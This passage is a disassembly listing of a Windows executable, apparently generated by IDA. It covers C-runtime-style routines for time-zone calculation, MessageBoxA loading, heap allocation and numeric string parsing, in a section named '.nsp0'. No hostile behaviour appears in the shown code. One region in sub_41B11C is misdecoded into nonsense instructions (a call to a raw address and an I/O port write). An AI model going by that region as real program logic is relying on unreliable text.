pop ebx
pop ecx
retn
sub_41AA32 endp
; =============== S U B R O U T I N E =======================================
sub_41AC90 proc near ; CODE XREF: sub_4180BE+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_431E64, edi
jnz short loc_41ACA4
loc_41AC9D: ; CODE XREF: sub_41AC90+148j
; sub_41AC90+150j ...
xor eax, eax
jmp loc_41ADF0
; ---------------------------------------------------------------------------
loc_41ACA4: ; CODE XREF: sub_41AC90+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_431EF8
jnz short loc_41ACC2
cmp eax, dword_431F08
jz loc_41ADC4
loc_41ACC2: ; CODE XREF: sub_41AC90+24j
cmp dword_462DC8, edi
jz loc_41AD9A
movzx ecx, word_462E76
push ecx
cmp word_462E68, di
movzx ecx, word_462E74
push ecx
movzx ecx, word_462E72
push ecx
movzx ecx, word_462E70
push ecx
jnz short loc_41AD14
movzx ecx, word_462E6C
push edi
push ecx
movzx ecx, word_462E6E
push ecx
movzx ecx, word_462E6A
push ecx
push eax
push ebx
jmp short loc_41AD28
; ---------------------------------------------------------------------------
loc_41AD14: ; CODE XREF: sub_41AC90+65j
movzx ecx, word_462E6E
push ecx
push edi
movzx ecx, word_462E6A
push edi
push ecx
push eax
push edi
loc_41AD28: ; CODE XREF: sub_41AC90+82j
push ebx
call sub_41AE3C
movzx eax, word_462E22
add esp, 2Ch
cmp word_462E14, di
push eax
movzx eax, word_462E20
push eax
movzx eax, word_462E1E
push eax
movzx eax, word_462E1C
push eax
jnz short loc_41AD82
movzx eax, word_462E18
push edi
push eax
movzx eax, word_462E1A
push eax
movzx eax, word_462E16
push eax
push dword ptr [esi+14h]
push ebx
loc_41AD77: ; CODE XREF: sub_41AC90+108j
push edi
call sub_41AE3C
add esp, 2Ch
jmp short loc_41ADC4
; ---------------------------------------------------------------------------
loc_41AD82: ; CODE XREF: sub_41AC90+C8j
movzx eax, word_462E1A
push eax
push edi
movzx eax, word_462E16
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_41AD77
; ---------------------------------------------------------------------------
loc_41AD9A: ; CODE XREF: sub_41AC90+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_41AE3C
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_41AE3C
add esp, 58h
loc_41ADC4: ; CODE XREF: sub_41AC90+2Cj
; sub_41AC90+F0j
mov edx, dword_431EFC
mov eax, dword_431F0C
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_41ADF4
cmp ecx, edx
jl loc_41AC9D
cmp ecx, eax
jg loc_41AC9D
cmp ecx, edx
jle short loc_41AE08
cmp ecx, eax
jge short loc_41AE08
loc_41ADEE: ; CODE XREF: sub_41AC90+166j
; sub_41AC90+16Aj
mov eax, ebx
loc_41ADF0: ; CODE XREF: sub_41AC90+Fj
; sub_41AC90+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41ADF4: ; CODE XREF: sub_41AC90+144j
cmp ecx, eax
jl short loc_41ADEE
cmp ecx, edx
jg short loc_41ADEE
cmp ecx, eax
jle short loc_41AE08
cmp ecx, edx
jl loc_41AC9D
loc_41AE08: ; CODE XREF: sub_41AC90+158j
; sub_41AC90+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_41AE2F
xor ecx, ecx
cmp eax, dword_431F00
setnl cl
loc_41AE2B: ; CODE XREF: sub_41AC90+1AAj
mov eax, ecx
jmp short loc_41ADF0
; ---------------------------------------------------------------------------
loc_41AE2F: ; CODE XREF: sub_41AC90+18Ej
xor ecx, ecx
cmp eax, dword_431F10
setl cl
jmp short loc_41AE2B
sub_41AC90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE3C proc near ; CODE XREF: sub_41AC90+99p
; sub_41AC90+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_41AED7
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_41AE67
shl esi, 2
mov eax, dword_431F10[esi]
jmp short loc_41AE70
; ---------------------------------------------------------------------------
loc_41AE67: ; CODE XREF: sub_41AE3C+1Ej
shl esi, 2
mov eax, dword_431F44[esi]
loc_41AE70: ; CODE XREF: sub_41AE3C+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jge short loc_41AEAA
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_41AEB4
; ---------------------------------------------------------------------------
loc_41AEAA: ; CODE XREF: sub_41AE3C+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_41AEB4: ; CODE XREF: sub_41AE3C+6Cj
cmp [ebp+arg_10], 5
jnz short loc_41AEF2
cmp [ebp+arg_8], 0
jnz short loc_41AEC8
mov esi, dword_431F14[esi]
jmp short loc_41AECE
; ---------------------------------------------------------------------------
loc_41AEC8: ; CODE XREF: sub_41AE3C+82j
mov esi, dword_431F48[esi]
loc_41AECE: ; CODE XREF: sub_41AE3C+8Aj
cmp ecx, esi
jle short loc_41AEF2
sub ecx, 7
jmp short loc_41AEF2
; ---------------------------------------------------------------------------
loc_41AED7: ; CODE XREF: sub_41AE3C+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_41AEE8
mov ecx, dword_431F10[eax*4]
jmp short loc_41AEEF
; ---------------------------------------------------------------------------
loc_41AEE8: ; CODE XREF: sub_41AE3C+A1j
mov ecx, dword_431F44[eax*4]
loc_41AEEF: ; CODE XREF: sub_41AE3C+AAj
add ecx, [ebp+arg_18]
loc_41AEF2: ; CODE XREF: sub_41AE3C+7Cj
; sub_41AE3C+94j ...
cmp [ebp+arg_0], 1
jnz short loc_41AF23
mov eax, [ebp+arg_1C]
mov dword_431EFC, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_431EF8, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_431F00, eax
jmp short loc_41AF78
; ---------------------------------------------------------------------------
loc_41AF23: ; CODE XREF: sub_41AE3C+BAj
mov eax, [ebp+arg_1C]
mov dword_431F0C, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_431E68
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_431F10, eax
jns short loc_41AF5B
add eax, 5265C00h
dec ecx
mov dword_431F10, eax
jmp short loc_41AF6C
; ---------------------------------------------------------------------------
loc_41AF5B: ; CODE XREF: sub_41AE3C+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_41AF72
sub eax, edx
inc ecx
mov dword_431F10, eax
loc_41AF6C: ; CODE XREF: sub_41AE3C+11Dj
mov dword_431F0C, ecx
loc_41AF72: ; CODE XREF: sub_41AE3C+126j
mov dword_431F08, ebx
loc_41AF78: ; CODE XREF: sub_41AE3C+E5j
pop esi
pop ebx
pop ebp
retn
sub_41AE3C endp
; =============== S U B R O U T I N E =======================================
sub_41AF7C proc near ; CODE XREF: .nsp0:00418F10p
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_41AF8D
add esp, 0Ch
retn
sub_41AF7C endp
; =============== S U B R O U T I N E =======================================
sub_41AF8D proc near ; CODE XREF: sub_41AF7C+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_464101[eax], cl
jnz short loc_41AFBA
cmp [esp+arg_4], 0
jz short loc_41AFB3
movzx eax, word_4314BA[eax*2]
and eax, [esp+arg_4]
jmp short loc_41AFB5
; ---------------------------------------------------------------------------
loc_41AFB3: ; CODE XREF: sub_41AF8D+16j
xor eax, eax
loc_41AFB5: ; CODE XREF: sub_41AF8D+24j
test eax, eax
jnz short loc_41AFBA
retn
; ---------------------------------------------------------------------------
loc_41AFBA: ; CODE XREF: sub_41AF8D+Fj
; sub_41AF8D+2Aj
push 1
pop eax
retn
sub_41AF8D endp
; =============== S U B R O U T I N E =======================================
sub_41AFBE proc near ; CODE XREF: sub_419639+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_462E84, ebx
push esi
push edi
jnz short loc_41B00D
push offset aUser32_dll ; "user32.dll"
call dword_41D0B0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_41B043
mov esi, dword_41D0B4
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; dword_41D0B4
test eax, eax
mov dword_462E84, eax
jz short loc_41B043
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; dword_41D0B4
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_462E88, eax
call esi ; dword_41D0B4
mov dword_462E8C, eax
loc_41B00D: ; CODE XREF: sub_41AFBE+Bj
mov eax, dword_462E88
test eax, eax
jz short loc_41B02C
call eax ; dword_462E88
mov ebx, eax
test ebx, ebx
jz short loc_41B02C
mov eax, dword_462E8C
test eax, eax
jz short loc_41B02C
push ebx
call eax ; dword_462E8C
mov ebx, eax
loc_41B02C: ; CODE XREF: sub_41AFBE+56j
; sub_41AFBE+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_462E84 ; MessageBoxA
loc_41B03F: ; CODE XREF: sub_41AFBE+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B043: ; CODE XREF: sub_41AFBE+1Cj
; sub_41AFBE+33j
xor eax, eax
jmp short loc_41B03F
sub_41AFBE endp
; =============== S U B R O U T I N E =======================================
sub_41B047 proc near ; CODE XREF: sub_4199A3+22p
; sub_4199A3+3Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
imul esi, [esp+0Ch+arg_4]
cmp esi, 0FFFFFFE0h
mov ebx, esi
ja short loc_41B067
test esi, esi
jnz short loc_41B061
push 1
pop esi
loc_41B061: ; CODE XREF: sub_41B047+15j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41B067: ; CODE XREF: sub_41B047+11j
; sub_41B047+65j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_41B098
cmp ebx, dword_4316CC
ja short loc_41B083
push ebx
call sub_415723
mov edi, eax
pop ecx
test edi, edi
jnz short loc_41B0AE
loc_41B083: ; CODE XREF: sub_41B047+2Dj
push esi
push 8
push dword_464220
call dword_41D144 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_41B0BA
loc_41B098: ; CODE XREF: sub_41B047+25j
cmp dword_462C24, 0
jz short loc_41B0BA
push esi
call sub_415338
test eax, eax
pop ecx
jz short loc_41B0C0
jmp short loc_41B067
; ---------------------------------------------------------------------------
loc_41B0AE: ; CODE XREF: sub_41B047+3Aj
push ebx
push 0
push edi
call sub_411F70
add esp, 0Ch
loc_41B0BA: ; CODE XREF: sub_41B047+4Fj
; sub_41B047+58j
mov eax, edi
loc_41B0BC: ; CODE XREF: sub_41B047+7Bj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B0C0: ; CODE XREF: sub_41B047+63j
xor eax, eax
jmp short loc_41B0BC
sub_41B047 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_419A48
loc_41B0C4: ; CODE XREF: sub_419A48+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_463EC0, esi
jle short loc_41B117
loc_41B0D3: ; CODE XREF: sub_419A48+16CDj
mov eax, dword_462EB0
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41B10E
test byte ptr [eax+0Ch], 83h
jz short loc_41B0F2
push eax
call sub_412540
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41B0F2
inc edi
loc_41B0F2: ; CODE XREF: sub_419A48+169Bj
; sub_419A48+16A7j
cmp esi, 14h
jl short loc_41B10E
mov eax, dword_462EB0
push dword ptr [eax+esi*4]
call sub_412813
mov eax, dword_462EB0
pop ecx
and dword ptr [eax+esi*4], 0
loc_41B10E: ; CODE XREF: sub_419A48+1695j
; sub_419A48+16ADj
inc esi
cmp esi, dword_463EC0
jl short loc_41B0D3
loc_41B117: ; CODE XREF: sub_419A48+1689j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_419A48
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B11C proc near ; CODE XREF: sub_419E27+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_412770
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_463FE0
jnb loc_41B251
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_463EE0[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_41B251
push 1
push esi
push ebx
call sub_41844F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_41B25B
push 2
push esi
push ebx
call sub_41844F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_41B25B
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_41B1FE
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_411F70
push 8000h
push ebx
call sub_41BD56
add esp, 14h
mov [ebp+arg_4], eax
loc_41B1B2: ; CODE XREF: sub_41B11C+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_41B1BD
mov eax, edi
loc_41B1BD: ; CODE XREF: sub_41B11C+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_41978C
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41B1DB
sub edi, eax
test edi, edi
jle short loc_41B1F1
jmp short loc_41B1B2
; ---------------------------------------------------------------------------
loc_41B1DB: ; CODE XREF: sub_41B11C+B5j
cmp dword_462BC8, 5
jnz short loc_41B1EE
mov dword_462BC4, 0Dh
loc_41B1EE: ; CODE XREF: sub_41B11C+C6j
or esi, 0FFFFFFFFh
loc_41B1F1: ; CODE XREF: sub_41B11C+BBj
push [ebp+arg_4]
push ebx
call sub_41BD56
pop ecx
pop ecx
jmp short loc_41B23E
; ---------------------------------------------------------------------------
loc_41B1FE: ; CODE XREF: sub_41B11C+71j
jge short loc_41B23E
push 0
push [ebp+arg_4]
push ebx
call sub_41844F
push ebx
call sub_419D93
add esp, 10h
push eax
call near ptr 0AB0000h
out 8Bh, eax ; DMA page register 74LS612:
; Channel 5 (address bits 17-23)
lock neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_41B23E
mov dword_462BC4, 0Dh
call dword_41D06C ; RtlGetLastWin32Error
mov dword_462BC8, eax
loc_41B23E: ; CODE XREF: sub_41B11C+E0j
; sub_41B11C:loc_41B1FEj ...
push 0
push [ebp+arg_0]
push ebx
call sub_41844F
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_41B25E
; ---------------------------------------------------------------------------
loc_41B251: ; CODE XREF: sub_41B11C+1Aj
; sub_41B11C+36j
mov dword_462BC4, 9
loc_41B25B: ; CODE XREF: sub_41B11C+4Ej
; sub_41B11C+63j
or eax, 0FFFFFFFFh
loc_41B25E: ; CODE XREF: sub_41B11C+133j
pop esi
pop ebx
leave
retn
sub_41B11C endp
; =============== S U B R O U T I N E =======================================
sub_41B262 proc near ; CODE XREF: sub_41A292+2Bp
; sub_41A292+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_41B278
cmp ecx, esi
jnb short loc_41B27B
loc_41B278: ; CODE XREF: sub_41B262+10j
push 1
pop eax
loc_41B27B: ; CODE XREF: sub_41B262+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_41B262 endp
; =============== S U B R O U T I N E =======================================
sub_41B283 proc near ; CODE XREF: sub_41B33C+40p
; sub_41B33C+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_41B262
add esp, 0Ch
test eax, eax
jz short loc_41B2B5
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_41B262
add esp, 0Ch
test eax, eax
jz short loc_41B2B5
inc dword ptr [esi+8]
loc_41B2B5: ; CODE XREF: sub_41B283+19j
; sub_41B283+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_41B262
add esp, 0Ch
test eax, eax
jz short loc_41B2CD
inc dword ptr [esi+8]
loc_41B2CD: ; CODE XREF: sub_41B283+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_41B262
add esp, 0Ch
pop edi
pop esi
retn
sub_41B283 endp
; =============== S U B R O U T I N E =======================================
sub_41B2E1 proc near ; CODE XREF: sub_41B33C+30p
; sub_41B33C+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_41B2E1 endp
; =============== S U B R O U T I N E =======================================
sub_41B30F proc near ; CODE XREF: sub_41B8D4+1C8p
; sub_41BDCC+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_41B30F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B33C proc near ; CODE XREF: sub_41B403+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_41B3B0
push edi
mov [ebp+arg_8], eax
loc_41B363: ; CODE XREF: sub_41B33C+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_41B2E1
push ebx
call sub_41B2E1
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41B283
push ebx
call sub_41B2E1
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41B283
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_41B363
xor edx, edx
pop edi
loc_41B3B0: ; CODE XREF: sub_41B33C+21j
; sub_41B33C+9Fj
cmp [ebx+8], edx
jnz short loc_41B3DD
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_41B3B0
; ---------------------------------------------------------------------------
loc_41B3DD: ; CODE XREF: sub_41B33C+77j
mov esi, 8000h
loc_41B3E2: ; CODE XREF: sub_41B33C+B9j
test [ebx+8], esi
jnz short loc_41B3F7
push ebx
call sub_41B2E1
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_41B3E2
; ---------------------------------------------------------------------------
loc_41B3F7: ; CODE XREF: sub_41B33C+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_41B33C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B403 proc near ; CODE XREF: sub_41A5DB+17p
; sub_41A608+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_41B43E: ; CODE XREF: sub_41B403+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_41B454
cmp cl, 9
jz short loc_41B454
cmp cl, 0Ah
jz short loc_41B454
cmp cl, 0Dh
jnz short loc_41B457
loc_41B454: ; CODE XREF: sub_41B403+40j
; sub_41B403+45j ...
inc edi
jmp short loc_41B43E
; ---------------------------------------------------------------------------
loc_41B457: ; CODE XREF: sub_41B403+4Fj
push 4
pop esi
loc_41B45A: ; CODE XREF: sub_41B403+AEj
; sub_41B403+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_41B6DD ; default
; jumptable 0041B466 case 10
jmp off_41B8A4[eax*4] ; switch jump
loc_41B46D: ; DATA XREF: .nsp0:off_41B8A4o
cmp bl, 31h ; jumptable 0041B466 case 0
jl short loc_41B47E
cmp bl, 39h
jg short loc_41B47E
loc_41B477: ; CODE XREF: sub_41B403+C4j
; sub_41B403+118j
push 3
jmp loc_41B69B
; ---------------------------------------------------------------------------
loc_41B47E: ; CODE XREF: sub_41B403+6Dj
; sub_41B403+72j
cmp bl, byte_4316C0
jnz short loc_41B48D
loc_41B486: ; CODE XREF: sub_41B403+124j
push 5
jmp loc_41B6D3
; ---------------------------------------------------------------------------
loc_41B48D: ; CODE XREF: sub_41B403+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_41B4B3
dec eax
dec eax
jz short loc_41B4A7
sub eax, 3
jnz loc_41B776
jmp loc_41B536
; ---------------------------------------------------------------------------
loc_41B4A7: ; CODE XREF: sub_41B403+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_41B45A
; ---------------------------------------------------------------------------
loc_41B4B3: ; CODE XREF: sub_41B403+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_41B45A
; ---------------------------------------------------------------------------
loc_41B4BC: ; CODE XREF: sub_41B403+63j
; DATA XREF: .nsp0:off_41B8A4o
cmp bl, 31h ; jumptable 0041B466 case 1
mov [ebp+var_10], edx
jl short loc_41B4C9
cmp bl, 39h
jle short loc_41B477
loc_41B4C9: ; CODE XREF: sub_41B403+BFj
cmp bl, byte_4316C0
jz loc_41B591
cmp bl, 2Bh
jz short loc_41B50B
cmp bl, 2Dh
jz short loc_41B50B
cmp bl, 30h
jz short loc_41B536
loc_41B4E4: ; CODE XREF: sub_41B403+207j
cmp bl, 43h
jle loc_41B776
cmp bl, 45h
jle short loc_41B504
cmp bl, 63h
jle loc_41B776
cmp bl, 65h
jg loc_41B776
loc_41B504: ; CODE XREF: sub_41B403+EDj
push 6
jmp loc_41B6D3
; ---------------------------------------------------------------------------
loc_41B50B: ; CODE XREF: sub_41B403+D5j
; sub_41B403+DAj ...
dec edi
push 0Bh
jmp loc_41B6D3
; ---------------------------------------------------------------------------
loc_41B513: ; CODE XREF: sub_41B403+63j
; DATA XREF: .nsp0:off_41B8A4o
cmp bl, 31h ; jumptable 0041B466 case 2
jl short loc_41B521
cmp bl, 39h
jle loc_41B477
loc_41B521: ; CODE XREF: sub_41B403+113j
cmp bl, byte_4316C0
jz loc_41B486
cmp bl, 30h
jnz loc_41B6EB
loc_41B536: ; CODE XREF: sub_41B403+9Fj
; sub_41B403+DFj
mov eax, edx
jmp loc_41B45A
; ---------------------------------------------------------------------------
loc_41B53D: ; CODE XREF: sub_41B403+63j
; DATA XREF: .nsp0:off_41B8A4o
mov [ebp+var_10], edx ; jumptable 0041B466 case 3
loc_41B540: ; CODE XREF: sub_41B403+184j
cmp dword_4316BC, edx
jle short loc_41B559
movzx eax, bl
push esi
push eax
call sub_414E26
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41B567
; ---------------------------------------------------------------------------
loc_41B559: ; CODE XREF: sub_41B403+143j
mov ecx, off_4314B0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41B567: ; CODE XREF: sub_41B403+154j
test eax, eax
jz short loc_41B589
cmp [ebp+var_4], 19h
jnb short loc_41B581
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_41B584
; ---------------------------------------------------------------------------
loc_41B581: ; CODE XREF: sub_41B403+16Cj
inc [ebp+var_8]
loc_41B584: ; CODE XREF: sub_41B403+17Cj
mov bl, [edi]
inc edi
jmp short loc_41B540
; ---------------------------------------------------------------------------
loc_41B589: ; CODE XREF: sub_41B403+166j
cmp bl, byte_4316C0
jnz short loc_41B5F8
loc_41B591: ; CODE XREF: sub_41B403+CCj
mov eax, esi
jmp loc_41B45A
; ---------------------------------------------------------------------------
loc_41B598: ; CODE XREF: sub_41B403+63j
; DATA XREF: .nsp0:off_41B8A4o
cmp [ebp+var_4], 0 ; jumptable 0041B466 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_41B5B1
loc_41B5A4: ; CODE XREF: sub_41B403+1ACj
cmp bl, 30h
jnz short loc_41B5B1
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_41B5A4
; ---------------------------------------------------------------------------
loc_41B5B1: ; CODE XREF: sub_41B403+19Fj
; sub_41B403+1A4j ...
cmp dword_4316BC, edx
jle short loc_41B5CA
movzx eax, bl
push esi
push eax
call sub_414E26
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41B5D8
; ---------------------------------------------------------------------------
loc_41B5CA: ; CODE XREF: sub_41B403+1B4j
mov ecx, off_4314B0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41B5D8: ; CODE XREF: sub_41B403+1C5j
test eax, eax
jz short loc_41B5F8
cmp [ebp+var_4], 19h
jnb short loc_41B5F3
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_41B5F3: ; CODE XREF: sub_41B403+1DDj
mov bl, [edi]
inc edi
jmp short loc_41B5B1
; ---------------------------------------------------------------------------
loc_41B5F8: ; CODE XREF: sub_41B403+18Cj
; sub_41B403+1D7j
cmp bl, 2Bh
jz loc_41B50B
cmp bl, 2Dh
jz loc_41B50B
jmp loc_41B4E4
; ---------------------------------------------------------------------------
loc_41B60F: ; CODE XREF: sub_41B403+63j
; DATA XREF: .nsp0:off_41B8A4o
cmp dword_4316BC, edx ; jumptable 0041B466 case 5
mov [ebp+var_24], edx
jle short loc_41B62B
movzx eax, bl
push esi
push eax
call sub_414E26
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41B639
; ---------------------------------------------------------------------------
loc_41B62B: ; CODE XREF: sub_41B403+215j
mov ecx, off_4314B0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41B639: ; CODE XREF: sub_41B403+226j
test eax, eax
jz loc_41B6EB
mov eax, esi
jmp short loc_41B69C
; ---------------------------------------------------------------------------
loc_41B645: ; CODE XREF: sub_41B403+63j
; DATA XREF: .nsp0:off_41B8A4o
